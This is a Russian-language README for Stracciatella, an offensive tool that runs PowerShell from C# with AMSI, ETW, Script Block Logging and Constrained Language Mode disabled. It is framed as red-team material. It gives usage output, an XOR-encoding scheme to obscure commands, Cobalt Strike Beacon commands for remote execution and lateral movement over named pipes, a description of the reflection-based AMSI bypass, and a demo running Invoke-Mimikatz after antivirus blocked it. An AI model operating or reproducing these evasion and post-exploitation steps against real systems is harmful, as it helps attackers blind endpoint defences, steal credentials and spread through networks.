
OpSec-безопасное пространство выполнения PowerShell изнутри C# (также известный как SharpPick) с отключенными при запуске AMSI, Constrained Language Mode и Script Block Logging.
Пространство выполнения PowerShell из C# (техника SharpPick) с отключенными AMSI, ETW и Script Block Logging для вашего удовольствия.
В наши дни, когда PowerShell сильно инструментирован с помощью таких техник, как:
Продвинутые атакующие должны находить способы обхода этих усилий для проведения сложных имитационных упражнений adversarial-симуляций. Чтобы помочь в этом, был создан следующий проект.
Эта программа построена на основе обходов для конкретных техник, включенных в:
Которые, в свою очередь, основаны на следующих исследованиях:
Идея SharpPick, то есть запуск скриптов PowerShell из сборки C# с помощью Runspaces, также не нова и была впервые реализована Lee Christensen (@tifkin_) в его:
Также исходный код заимствует реализацию CustomPSHost от Lee.
Этот проект наследует от вышеупомянутых исследований и замечательного сообщества безопасности, чтобы предоставить почти эффективное окружение PowerShell с отключенными защитами при запуске.
Теперь легко компилируется с .NET 4.0, тогда как при компиляции с .NET Framework 4.7.1+ включается дополнительная функциональность, позволяющая выгружать DLL, составляющие артефакты обхода CLM, и пытаться удалить их после этого (честно говоря, работает с трудом).
Лучший результат достигается при компиляции Stracciatella с .NET 4.0.
Доступно несколько опций:
PS D:\> Stracciatella -h
:: Stracciatella - Пространство выполнения PowerShell с отключенными AMSI, ETW и Script Block Logging.
Mariusz Banach / mgeeky, '19-22 <[email protected]>
v0.7
Использование: stracciatella.exe [опции] [команда]
-s <путь>, --script <путь> - Путь к файлу, содержащему скрипт PowerShell для выполнения. Если опции не указаны, войдет в
псевдо-оболочку. Это также может быть HTTP(S) URL для загрузки и выполнения скрипта powershell.
-v, --verbose - Выводить подробную информацию
-n, --nocleanup - Не удалять остатки отключения CLM (DLL-файлы в TEMP и ключи реестра COM).
По умолчанию они всегда удаляются.
-C, --leaveclm - Не пытаться отключить CLM. Более скрытно. Позволит избежать оставления не удаленных артефактов отключения CLM.
-f, --force - Продолжить выполнение, даже если защиты PowerShell не были отключены.
По умолчанию мы выходим при сбое.
-c, --command - Выполняет указанные команды. Вы можете использовать -c или добавить команды после
параметров stracciatella: cmd> straciatella ipconfig /all
Если заданы и команда, и параметры скрипта, выполняется команда после запуска скрипта.
-x <ключ>, --xor <ключ> - Считать входные данные XOR-закодированными, где <ключ> - однобайтовый ключ в десятичном формате
(префикс 0x для шестнадцатеричного)
-p <имя>, --pipe <имя> - Читать команды powershell из указанного именованного канала. Команда должна начинаться с 4 байт
ее длины в little-endian (нотация Length-Value).
-t <миллисек>, --timeout <миллисек>
- Указывает таймаут для операции чтения из канала (в миллисекундах). По умолчанию: 60 сек. 0 - бесконечно.
-e, --cmdalsoencoded - Считать входную команду (указанную в '--command') также закодированной.
Декодирует входную команду после декодирования и выполнения входного скрипта.
По умолчанию мы декодируем только входной файл и считаем команду переданной в открытом виде.
Программа принимает команду и путь к файлу скрипта в качестве входных данных. Оба опциональны; если ничего не указано, будет запущена псевдо-оболочка. Команда и скрипт могут быть дополнительно закодированы с помощью однобайтового XOR (вывод будет в Base64) для улучшения OpSec-опыта.
Вот несколько примеров использования:
PS D:\> Stracciatella.exe -v
:: Stracciatella - Пространство выполнения PowerShell с отключенными AMSI, ETW и Script Block Logging.
Mariusz Banach / mgeeky, '19-22 <[email protected]>
v0.7
[.] Версия PowerShell: 5.1
[.] Языковой режим: FullLanguage
[+] Нет необходимости отключать Constrained Language Mode. Уже в FullLanguage.
[+] Script Block Logging отключен.
[+] AMSI отключен.
[+] ETW отключен.
Stracciatella D:\> $PSVersionTable
Name Value
---- -----
PSVersion 5.1.18362.1
PSEdition Desktop
PSCompatibleVersions {1.0, 2.0, 3.0, 4.0...}
BuildVersion 10.0.18362.1
CLRVersion 4.0.30319.42000
WSManStackVersion 3.0
PSRemotingProtocolVersion 2.3
SerializationVersion 1.1.0.1
Сначала, чтобы подготовить закодированные операторы, можно использовать встроенный скрипт encoder.py, который используется следующим образом:
PS D:\> python encoder.py -h
usage: encoder.py [options] <command|file>
positional arguments:
command Задает команду или путь к файлу скрипта для кодирования
optional arguments:
-h, --help показать это справочное сообщение и выйти
-x KEY, --xor KEY Задает ключ XOR для команды/файла (один байт)
-o PATH, --output PATH
(необязательно) Выходной файл. Если не указан, выведет в stdout
PS D:\> python encoder.py -x 0x31 "Write-Host \"It works like a charm!\" ; $ExecutionContext.SessionState.LanguageMode"
ZkNYRVQceV5CRRETeEURRl5DWkIRXVhaVBFQEVJZUENcEBMRChEVdElUUkRFWF5fcl5fRVRJRR9iVEJCWF5fYkVQRVQffVBfVkRQVlR8XlVU
Затем передаем вывод encoder.py в качестве входных данных для закодированной команды Stracciatella:
PS D:\> Stracciatella.exe -v -x 0x31 -c "ZkNYRVQceV5CRRETeEURRl5DWkIRXVhaVBFQEVJZUENcEBMRChEVdElUUkRFWF5fcl5fRVRJRR9iVEJCWF5fYkVQRVQffVBfVkRQVlR8XlVU" .\Test2.ps1
:: Stracciatella - Пространство выполнения PowerShell с отключенными AMSI, ETW и Script Block Logging.
Mariusz Banach / mgeeky, '19-22 <[email protected]>
v0.7
[.] Загрузка файла скрипта: '.\Test2.ps1'
[+] AMSI отключен.
[+] ETW отключен.
[+] Script Block Logging отключен.
[.] Языковой режим: FullLanguage
PS> & '.\Test2.ps1'
PS> Write-Host "It works like a charm!" ; $ExecutionContext.SessionState.LanguageMode
[+] Yeeey, it really worked.
It works like a charm!
FullLanguage
Где:
Command состоял из следующих команд: Base64Encode(XorEncode("Write-Host \"It works like a charm!\" ; $ExecutionContext.SessionState.LanguageMode", 0x31))Test2.ps1 содержал: "ZkNYRVQceV5CRRETahpsEWhUVFRIHRFYRRFDVFBdXUgRRl5DWlRVHxM=" (Base64(XorEncode("Write-Host \"[+] Yeeey, it really worked.\"", 0x31)))Stracciatella поставляется со скриптом Aggressor, который при загрузке открывает команду stracciatella в консоли Beacon. Использование очень похоже на powerpick (предварительно импортируя скрипты powershell через stracciatella-import). Входной параметр будет XOR-закодирован случайным ключом и передан через случайно именованный канал в пространство выполнения Stracciatella.
Доступны следующие команды Cobalt Strike:
Одной из стратегий работы со Stracciatella может быть настройка достаточно длинного таймаута чтения из канала (1), запуск его на удаленной машине (2), таким образом имея возможность бокового перемещения через именованный канал с небольшой помощью Stracciatella.
Преимущество перед powerpick заключается в том, что Stracciatella не патчит AMSI.dll так, как это делает Powerpick (патч AmsiScanBuffer), что потенциально создает меньше криминалистического шума с точки зрения EDR, которые ищут патчи в памяти. Кроме того, Stracciatella со временем сможет стабильно обходить Constrained Language Mode, что в настоящее время невозможно с помощью powerpick:
beacon> stracciatella-import PowerView.ps1
[+] host called home, sent: 143784 bytes
beacon> stracciatella Get-Domain
[*] Tasked Beacon to run Stracciatella: Get-Domain
[+] host called home, sent: 264483 bytes
[+] received output:
Forest : contoso.local
DomainControllers : {dc.contoso.local}
Children : {us.eu.contoso.local}
DomainMode : Unknown
DomainModeLevel : 7
Parent : contoso.local
PdcRoleOwner : dc.eu.contoso.local
RidRoleOwner : dc.eu.contoso.local
InfrastructureRoleOwner : dc.eu.contoso.local
Name : eu.contoso.local
Наконец, Stracciatella может легко использоваться другими инструментами/C2, которые не предлагают никакой функциональности для обхода защит PowerShell.
Когда stracciatella возвращает ошибку 2 (ERROR_FILE_NOT_FOUND), это означает, что Stracciatella превысила таймаут, ожидая данных для записи в свой именованный канал.
beacon> stracciatella Resolve-IPAddress dc1.bank.corp
[*] Tasked Beacon to run Stracciatella: Resolve-IPAddress dc1.bank.corp
[+] [11/02 03:32:50] host called home, sent: 1007245 bytes
[+] [11/02 03:33:13] host called home, sent: 191805 bytes
[-] Could not connect to pipe (\\.\pipe\85f2acfe-2ca9-4364-af08-f1c654966c1a): 2.
Это можно исправить, изменив параметр таймаута Stracciatella с помощью:
beacon> stracciatella-timeout 600000
beacon> stracciatella Resolve-IPAddress dc1.bank.corp
[*] Tasked Beacon to run Stracciatella: Resolve-IPAddress dc1.bank.corp
[+] [11/02 04:01:11] host called home, sent: 1007265 bytes
[+] [11/02 04:01:33] host called home, sent: 191805 bytes
[+] received output:
ComputerName IPAddress
------------ ---------
dc1.bank.corp 10.10.10.5
Связанный скрипт aggressor использует внутренние процедуры Beacon для записи в случайно именованный канал, который на другом конце будет прослушиваться логикой Stracciatella. Принимающий конец будет ожидать входящие данные в течение некоторого времени (параметр --timeout в опциях Stracciatella, по умолчанию 60 секунд), и если данные не поступают, происходит таймаут и мягкое завершение. В противном случае полученные команды будут декодированы и выполнены как обычно.
Иногда у нас есть скрипты PowerShell, которые не предоставляют никаких функций или не загружают рефлексивно .NET-модули, которые мы хотели бы вызвать из среды выполнения PowerShell. Для этого можно использовать команду Beacon stracciatella-script <путь_к_скрипту> <команда>. Она читает указанный файл скрипта powershell и добавляет к нему заданную <команду>, разделенную точкой с запятой.
Скрипт Aggressor (CNA) Stracciatella определяет, загружен ли BOF.NET, и если да, предоставляет команду:
bofnet_loadstracciatella
Которая вызывает bofnet_load stracciatella.exe. Кроме того, Stracciatella будет запускаться через bofnet_jobassembly вместо встроенного execute-assembly от Cobalt.
Это поведение можно настроить, изменив глобальную переменную в скрипте stracciatella.cna:
#
# Если в Cobalt Strike загружен BOF.NET, предпочитать команду `bofnet_jobassembly` вместо `execute-assembly`.
# Это полезно, когда мы хотим переключить тактику на выполнение встроенное/в процессе через BOF.NET вместо fork & run.
#
$FAVOR_BOFNET_INSTEAD_OF_EXECUTE_ASSEMBLY = "true";
С помощью рефлексии, как было обнаружено Matt Graeber, но подход этой программы был слегка изменен. Вместо обращения к символам по имени, например "amsiInitFailed", мы ищем их, проходя через каждую сборку, метод, тип и поле, доступные для рефлексивного получения. Затем мы отключаем AMSI путем манипуляции непубличными и статическими переменными в сборке Management.Automation. То же самое относится и к логированию Script Block, при этом некоторые идеи были основаны на исследованиях Ryan Cobb (@cobbr).
Фактически, Stracciatella использует ту же реализацию, что уже описана в вышеупомянутых файлах Disable-*.ps1 от меня.
Кроме того, мы не пытаемся патчить amsi.dll — это слишком шумно и в ближайшем будущем может стать объектом пристального внимания со стороны EDR/HIPS/AV. Нарушение целостности системных библиотек, безусловно, проигрывает по сравнению с порчей рефлексивных переменных.
Invoke-Mimikatz, не так ли?Конечно, пожалуйста:
PS D:\> "amsiInitFailed"
At line:1 char:1
+ "amsiInitFailed"
+ ~~~~~~~~~~~~~~~~
Этот скрипт содержит вредоносный контент и был заблокирован вашим антивирусным ПО.
+ CategoryInfo : ParserError: (:) [], ParentContainsErrorRecordException
+ FullyQualifiedErrorId : ScriptContainedMaliciousContent
PS D:\> . .\Invoke-Mimikatz.ps1
At line:1 char:1
+ . .\Invoke-Mimikatz.ps1
+ ~~~~~~~~~~~~~~~~~~~~~~~
Этот скрипт содержит вредоносный контент и был заблокирован вашим антивирусным ПО.
+ CategoryInfo : ParserError: (:) [], ParentContainsErrorRecordException
+ FullyQualifiedErrorId : ScriptContainedMaliciousContent
PS D:\> .\Stracciatella.exe -v
:: Stracciatella - Пространство выполнения PowerShell с отключенными AMSI и Script Block Logging.
Mariusz Banach / mgeeky, '19-22 <[email protected]>
v0.7
[-] Похоже, путь к скрипту не указан.
[+] AMSI отключен.
[+] ETW отключен.
[+] Script Block Logging отключен.
[.] Языковой режим: FullLanguage
Stracciatella D:\> . .\Invoke-Mimikatz.ps1
Stracciatella D:\> Invoke-Mimikatz -Command "coffee exit"
.#####. mimikatz 2.1 (x64) built on Nov 10 2016 15:31:14
.## ^ ##. "A La Vie, A L'Amour"
## / \ ## /* * *
## \ / ## Benjamin DELPY `gentilkiwi` ( [email protected] )
'## v ##' http://blog.gentilkiwi.com/mimikatz (oe.eo)
'#####' with 20 modules * * */
mimikatz(powershell) # coffee
( (
) )
.______.
| |]
\ /
`----'
mimikatz(powershell) # exit
Bye!
В настоящее время способ, которым Stracciatella предоставляет пространство выполнения для команд powershell, не является самым скрытным. Мы в основном создаем пространство выполнения PowerShell, которое загружает соответствующую сборку .NET. Это может быть расценено как признак того, что процесс stracciatella является подозрительным.
Этот и другие проекты — результат бессонных ночей и огромного труда. Если вам нравится то, что я делаю, и вы цените, что я всегда отдаю что-то сообществу, Купите мне кофе (или лучше пиво), чтобы просто сказать спасибо! 💪
Mariusz Banach / mgeeky, '20-22
<mb [at] binary-offensive.com>
(https://github.com/mgeeky)
| Команда Cobalt Strike | Описание |
|---|
stracciatella [-v] <команда> | выполняет заданные команды |
stracciatella-remote [-v] <машина> <имя_канала> <команда> | выполняет заданные команды на удаленной машине через указанный канал |
stracciatella-import <путь_к_скрипту> | импортирует скрипт powershell для использования со Stracciatella |
stracciatella-script <путь_к_скрипту> <команда> | предзагружает команду Powershell с указанным скриптом Powershell (ps1) (комбинация stracciatella-import и stracciatella за одну операцию) |
stracciatella-clear | очищает импортированный скрипт на этом Beacon |
stracciatella-timeout <миллисекунды> | настраивает таймаут чтения из именованного канала по умолчанию |
bofnet_loadstracciatella | загружает Stracciatella.exe в BOF.NET (если используется) |
bofnet_stracciatella <команда> | (неблокирующий) Запускает команды Powershell в безопасном пространстве выполнения Stracciatella через BOF.NET bofnet_jobassembly |
bofnet_executestracciatella <команда> | (блокирующий) Запускает команды Powershell в безопасном пространстве выполнения Stracciatella через BOF.NET bofnet_executeassembly |
bofnet_stracciatella_script <путь_к_скрипту> <команда> | Предзагружает указанный скрипт Powershell и запускает заданную команду с параметрами (через BOF.NET) |